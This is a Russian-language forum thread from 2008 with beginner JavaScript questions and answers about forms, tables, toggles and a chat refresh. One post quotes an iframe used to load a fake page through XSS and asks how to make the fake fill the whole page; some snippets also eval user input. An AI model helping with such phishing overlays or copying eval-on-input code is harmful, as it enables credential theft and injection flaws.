return bad_data('phone');

if (document.getElementById('mail').value=="")
return bad_data('mail');
}

function bad_data(id)
{
document.getElementById(id).focus();
alert("Вы заполнили не все обязательные поля.");
return false;
}
</script>
<div align="center">
<pre><strong><font face="Times New Roman, Times, serif" size="5">Предварительная заявка</font><font face="Times New Roman, Times, serif" size="3">
(Поля, отмеченные <font color="#ff0000">* </font>,обязательны к заполнению!)</font></strong></pre>
</div>
<form name="form1" method="post" action="mail.php" onsubmit="return checkform()">
<center>
<font face="Times New Roman, Times, serif" size="3"> <br>
<font face="Times New Roman, Times, serif" size="3"><strong>Ваше
имя</strong>
<input name="Имя" id="name" type="text">
<font color="#ff0000">*</font> </font> <br>
<font face="Times New Roman, Times, serif" size="3"><strong>Контактный
телефон</strong>
<input name="Телефон" id="phone" type="text">

<font color="#ff0000">*</font> </font> <br>
<font face="Times New Roman, Times, serif" size="3"><strong>E-Mail</strong>
<input name="E-mail" type="text" id="mail">
<font color="#ff0000">*</font></font> <br> <br><br>
<input name="submit" value="Отправить заказ" type="submit">
</font>
</center>
</form>

4NT1P0V
10.04.2008, 19:30
Спасибо! все пашет!!!

astrologer
10.04.2008, 19:31
Ну я не виноват что это в бланке заявки)) просто для бати сайт делаю.... Я не про то. js-движок не сможет обработать всё это: "Расстояние от МКАД до объекта" как задумывалось. В таких случаях обращаться к элементу нужно вот так:
f['Расстояние от МКАД до объекта']Я не уверен, что кириллические имена будут правильно обрабатываться во всех браузерах, хотя по спецификации должны.

В этой теме недавно обсуждали обработку форм...

d_x, не учи плохому =)

DiffuSer
10.04.2008, 22:30
Подскажите, как добавлять и выводить в таблицу рядом данные из таблицы с полями User, Type, Lan, Lat? И желательно чтобы в этой таблице около каждой записи была кнопка удалить. =)

De-visible
11.04.2008, 00:09
Подскажите, как добавлять и выводить в таблицу рядом данные из таблицы с полями User, Type, Lan, Lat? И желательно чтобы в этой таблице около каждой записи была кнопка удалить. =)
_http://www.gotdotnet.ru/Forums/Web/427310.aspx
_http://sudoku.org.ua/rus/blog/2006/05/12/addtablerows/

ZET36
11.04.2008, 01:28
Подскажите, как добавлять и выводить в таблицу рядом данные из таблицы с полями User, Type, Lan, Lat? И желательно чтобы в этой таблице около каждой записи была кнопка удалить. =)

так?

<table border=2 id='table1'>
<tr>
<td>1</td>
<td>сиськи</td>
<tr>
<td>3</td>
<td>4</td>
<tr>
<td>5</td>
<td>6</td>
</table>
<script>
document.getElementById('table1').rows[2].cells[0].innerHTML="писюлёк"; //записать данные в 3 ряд в 1 вом столбце
alert(document.getElementById('table1').rows[0].cells[1].innerHTML); // вывести данные из 1 ряда во втором столбце
document.getElementById('table1').rows[1].cells[1].innerHTML=""; // удалить данные из 2рого ряда во втором столбеце
</script>

-=lebed=-
11.04.2008, 10:47
Есть функция, туда передаётся аргумент - имя поля формы id, как мне использовать это имя поля в функции тут?

function inc(id) {
alert(id);
alert(document.cena.id.value); - вот тут нужно использовать значение переменной id (а не символы id) как реализовать?
if (document.cena.id.value=="del") {document.cena.id.value=-1;}
document.cena.id.value++;
}


Т.е. мне надо обращаться к разным полям формы в зависимости от id, например:

inc('cena25') -> document.cena.cena25.value

UP: НЕАКТУАЛЬНО! реализовал через eval


function inc(id) {
s="document.cena."+id+".value";
if (eval(s)=="del") {eval(s+"=-1");}
eval(s+"++");
}

astrologer
11.04.2008, 11:04
-=lebed=-, document.cena[id].value

krypt3r
11.04.2008, 11:07
ну или

document.getElementById(id).value;
document.forms[0][id].value;

4NT1P0V
12.04.2008, 13:49
Подскажите, как сделать так, что был текст, и рядом была картинка на которой нарисован + и при нажатии на него появлялся текст полностью и потом его можно было убрать...

.:EnoT:.
12.04.2008, 14:11
<script type="text/JavaScript">
function showhide(element_id)
{
if (document.getElementById(element_id).style.display == 'none')
{
document.getElementById(element_id).style.display = 'block';
}
else
{
document.getElementById(element_id).style.display = 'none';
}
}

</script>
<div id="bugaga" style="display: none;">Текст</div>
<a href="#" onclick="showhide('bugaga'); return false;">+</a>
Соответственно на ссылку поставишь картинку

Корвин
16.04.2008, 15:28
Подскажите, как сделать так, что был текст, и рядом была картинка на которой нарисован + и при нажатии на него появлялся текст полностью и потом его можно было убрать...

а появляца и убираца должен был текст и плюсик или только плюсик??

Isis
16.04.2008, 15:51
.:EnoT:., а вы знаете что при загрузке страницы document.getElementbyId...... есть undefined?
Поэтому первое условие надо сделать || documen.... == undefined

astrologer
16.04.2008, 16:05
Isis, нет.

Isis
16.04.2008, 16:08
function showhide(element_id)
{
if (document.getElementById(element_id).style.display == 'none' || document.getElementById(element_id).style.display == undefined )
{
document.getElementById(element_id).style.display = 'block';
}
else
{
document.getElementById(element_id).style.display = 'none';
}
}

</script>

astrologer
16.04.2008, 16:49
После загрузки страницы, как только элементы "инициализировались", свойство [ Element ].style.display, если не было указано явно, будет пустой строкой:
<script>

window.onload = function()
{
var node = document.getElementById('dummy');
alert('#' + node.style.display + '#'); // Покажет ##
}
</script>

<div id="dummy"></div>

И следующий код будет возвращать ложь всегда, за исключением тех случаев, когда мы намеренно установим это свойство в "undefined":document.getElementById(element_id).style.display == undefined
Можно привести исходную функцию примерно к такому виду:
function toggle(id)
{
var node = document.getElementById(id), s;
if(!node) return;
s = node.style;
s.display = (s.display != 'none' ? 'none':'');
}Стоит обратить внимание, что свойству display намеренно не присваивается значение 'block'. У столбца таблицы, например, это значение должно быть 'table-cell', и в поддерживающих браузерах может сбиться верстка.

Лучший вариант, конечно, использовать css и менять только имя класса.

porter
18.04.2008, 11:48
На странице находится 3 фрейма. В одном фрейме при помощи xss загружается фейк..

<iframe src="http://site/1.htm" height=100% width=100% scrolling=no frameborder=0>

но фейк загружается на весь фрейм, а не на всю страницу.... Реально ли как нить сделать чтоб он грузилcя на всю страницу..?

inlanger
18.04.2008, 15:52
Помогите с таким вопросом.
Как, используя jQuery, раз в n секунд переинклудивать файл .php на php страницу?

Корвин
21.04.2008, 17:53
Помогите с таким вопросом.
Как, используя jQuery, раз в n секунд переинклудивать файл .php на php страницу?


а для этого не нужно обновить страни4ку??

inlanger
22.04.2008, 09:41
Не знаю. Потому и спрашиваю :) Можно не заново include делать, а просто забрать результат выполнения этого скрипта и вставить на мою страницу...

Корвин
22.04.2008, 10:36
Не знаю. Потому и спрашиваю :) Можно не заново include делать, а просто забрать результат выполнения этого скрипта и вставить на мою страницу...

а крон(планировшик задач) тебе не подойдет? поставь чтобы запускался через каждые n секунд , а обновленный результат будет када страничку обновишь, получается крон постоянно запускает скрипт , а он записывает результат своей работы в какой нить файл, а на страничке другой скрипт просто берет данные из этого файла, работать точно все будет быстрее....... но мож я чото не понял, раскажи подробнее что скрипт делает?

inlanger
22.04.2008, 17:20
Типа функция чата. окно чата должно не перезагружать страницу

astrologer
22.04.2008, 17:42
Типа функция чата. окно чата должно не перезагружать страницуВарианты:
frame / iframe / object / async request

inlanger
22.04.2008, 19:00
Первые 2 отпадают сразу. Требование к чату - никаких фреймов и таблиц. Всё на дивах...

Doom123
24.04.2008, 15:26
как вывести в алерт или просто тексто нынешний путь к документу в котором вызван скрипт

astrologer
24.04.2008, 16:17
<script type="text/javascript">
alert(document.location.href);
</script>

VDShark
24.04.2008, 16:18
как вывести в алерт или просто тексто нынешний путь к документу в котором вызван скрипт

alert(location);

Doom123
24.04.2008, 16:33
Мнебы не урл к документу а полный путь дириктории /home/www/index.php тип того
или на JS никак?

astrologer
24.04.2008, 16:44
Мнебы не урл к документу а полный путь дириктории /home/www/index.php тип того
или на JS никак?Нельзя.

Корвин
25.04.2008, 12:33
максимум путь от корня мона вывести


<a href="#" onclick="alert(location.pathname)">ПУТЬ</a>

nikolya
26.04.2008, 17:37
только начал изучать javascript. не могу справиться с правильной записью решения задачи. задача должна строиться на if...{alert...} else {alert...}. вот сама задача: "Даны четыре вещественных числа. Найти сумму тех чисел, которые больше пяти". заранее выражаю благодарность.

d_x
26.04.2008, 17:45
<html><body>
<script language='JavaScript'>
var v=new Array(); //числа хранятся в массиве
v[1]=5.567;
v[2]=7.123;
v[3]=0.35;
v[4]=5.1;

var sum=0; //сумма

var cnt=v.length;//количество чисел

for(var i=0;i<cnt;i++)
{
if(v[i]>5.0) sum+=v[i];

}

alert("Сумма: "+sum);
</script>
</body></html>

nikolya
26.04.2008, 19:46
А возможно ли реализовать решение задачи через :
a=eval(prompt('Введите значение a',''));
b=eval(prompt('Введите значение b',''));
c=eval(prompt('Введите значение c',''));
d=eval(prompt('Введите значение d',''));
Если (if) значения больше 5 ввелись, то посчитать их сумму, а если нет, то соответственно вывести {alert ('чисел больше пяти нет');}.
Огромное спасибо за предыдущее решение.